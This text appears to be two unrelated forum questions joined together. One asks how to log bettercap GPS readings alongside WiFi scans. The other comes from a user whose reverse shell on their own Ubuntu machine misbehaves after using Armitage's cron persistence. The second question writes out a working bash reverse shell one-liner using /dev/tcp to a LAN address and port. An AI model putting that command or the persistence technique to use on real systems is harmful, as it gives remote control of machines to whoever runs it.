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I am working on a Alpine Linux based OS, and bettercap is being used to communicate with raspbery Pi devices. Im taking in readings for WiFi signals and their Access Points, as well as GPS Coordinates. I wanted to ask how, if possible, to obtain readings of the gps.show commands to be outputted on to the my own AWS servers, or maybe just a log file that can be accessed and read (from there I could be extracted and outputted to wherever needed). I seen the event sessions go file and the wifi events being created, and noticed there was nothing for GPS, and was wondering if there was a way to input GPS Event sessions, so that gps coordiantes would be displayed there in intervals (via ticker). Any help would be greatly appreciated
Not totally sure what I'm doing. I started a reverse shell on my ubuntu machine. 0<&96-;exec 96<>/dev/tcp/192.168.1.4/2222;sh <&96 >&96 2>&96 I get a file descriptor error when I run the command but it opens a shell and I can interact with the target system (Ubuntu 16.04 Desktop). When I use cron_persistence from armitage it seems to work fine. When I reboot the target it just black screens and never runs desktop. It's funny. I had been hacked running Ubuntu about a week ago but I figured that the attacker had intentionally PDOSed my system. It was probably accidental. Anybody have any idea what's going on here? What am I doing wrong with the shell and what do I do to fix the issue on the target machine?